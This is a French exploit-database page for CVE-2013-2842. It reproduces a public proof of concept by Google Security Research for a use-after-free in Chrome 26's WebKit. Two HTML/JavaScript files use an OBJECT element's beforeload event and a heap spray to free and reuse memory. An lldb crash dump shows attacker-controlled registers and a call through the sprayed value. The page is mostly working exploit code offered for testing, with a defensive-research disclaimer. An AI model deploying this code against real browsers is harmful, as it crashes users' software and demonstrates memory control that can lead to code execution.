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Exploit matérialisé

CVE-2013-2842

1 exploit(s) public(s) pour cette CVE, 1 matérialisé(s) avec leur code.

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À des fins de recherche défensive uniquement. Ne testez que sur des systèmes que vous possédez ou pour lesquels vous détenez une autorisation écrite. L'accès non autorisé est illégal.
ExploitDB dos osx
Source

Google Chrome 26.0.1410.43 (Webkit) - OBJECT Element Use-After-Free (PoC)

Par Google Security Research

Comment tester cet exploit

Déni de service : envoie une entrée malformée pour crasher le service. À tester en VM isolée, l'effet est destructif.

Code html 

#---object-beforeload-chrome.html---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------#
<html>
	<head>
		<script>
			function sprayOne(mem, size, v) {
                                var a = new Uint8ClampedArray(size - 20);
                                for (var j = 0; j < a.length; j++) a[j] = v;
				var t = document.createTextNode(String.fromCharCode.apply(null, new Uint16Array(a)));
                             	mem.push(t);
			}
			function dsm(evnt) {
				// spray
				var mem = [];
				for (var j = 20; j < 8192; j++) sprayOne(mem, j, 0x43);

/*

Chromium release build 28.0.1461.0 (191833), built with options:

GYP_GENERATORS=ninja GYP_DEFINES='component=shared_library mac_strip_release=0' gclient runhooks

lldb attached to Chromium in --single-process mode:

* thread #28: tid = 0x3803, 0x07b617e4 libwebkit.dylib`WebCore::RenderWidget::updateWidgetGeometry() [inlined] WebCore::RenderBox::contentBoxRect() const + 5 at RenderBox.h:155, stop reason = EXC_BAD_ACCESS (code=1, address=0x43434617)
    frame #0: 0x07b617e4 libwebkit.dylib`WebCore::RenderWidget::updateWidgetGeometry() [inlined] WebCore::RenderBox::contentBoxRect() const + 5 at RenderBox.h:155
   152 	    virtual IntRect borderBoundingBox() const { return pixelSnappedBorderBoxRect(); }
   153
   154 	    // The content area of the box (excludes padding - and intrinsic padding for table cells, etc... - and border).
-> 155 	    LayoutRect contentBoxRect() const { return LayoutRect(borderLeft() + paddingLeft(), borderTop() + paddingTop(), contentWidth(), contentHeight()); }
   156 	    // The content box in absolute coords. Ignores transforms.
   157 	    IntRect absoluteContentBox() const;
   158 	    // The content box converted to absolute coords (taking transforms into account).

(lldb) reg read
General Purpose Registers:
       eax = 0x43434343
       ebx = 0x12ae436c
       ecx = 0x00000018
       edx = 0x0edab374
       edi = 0x0edd6858
       esi = 0x12ae436c
       ebp = 0xb9bf8e38
       esp = 0xb9bf8d50
        ss = 0x00000023
    eflags = 0x00010286
       eip = 0x07b617e4  libwebkit.dylib`WebCore::RenderWidget::updateWidgetGeometry() + 20 [inlined] WebCore::RenderBox::contentBoxRect() const + 5 at RenderWidget.cpp:172
  libwebcore_rendering.a`WebCore::RenderWidget::updateWidgetGeometry() + 15 at RenderWidget.cpp:172
        cs = 0x0000001b
        ds = 0x00000023
        es = 0x00000023
        fs = 0x00000023
        gs = 0x0000000f

(lldb) disass
libwebkit.dylib`WebCore::RenderWidget::updateWidgetGeometry() + 20 [inlined] WebCore::RenderBox::contentBoxRect() const + 5 at RenderWidget.cpp:172
libwebcore_rendering.a`WebCore::RenderWidget::updateWidgetGeometry() + 15 at RenderWidget.cpp:172:
-> 0x7b617e4:  calll  *724(%eax)
   0x7b617ea:  movl   %eax, -180(%ebp)
   0x7b617f0:  movl   (%ebx), %eax
   0x7b617f2:  movl   %ebx, (%esp)

*/
			}
		</script>
	</head>
	<body>
		<iframe src="object-beforeload-frame-chrome.html"></iframe>
	</body>
</html>
#----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------#





#---object-beforeload-frame-chrome.html------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------#
<html>
	<head>
		<script>
			var nb = 0;
			function handleBeforeLoad() {
				if (++nb == 1) {
					p.addEventListener('DOMSubtreeModified', parent.dsm, false);
				} else if (nb == 2) {
					p.removeChild(f);
				}
			}

			function documentLoaded() {
				f = window.frameElement;
				p = f.parentNode;
				var o = document.createElement("object");
				o.addEventListener('beforeload', handleBeforeLoad, false);
				document.body.appendChild(o);
			}

			window.onload = documentLoaded;
		</script>
	</head>
	<body></body>
</html>
#----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------#

## E-DB Note: Source ~ https://bugs.chromium.org/p/chromium/issues/detail?id=226696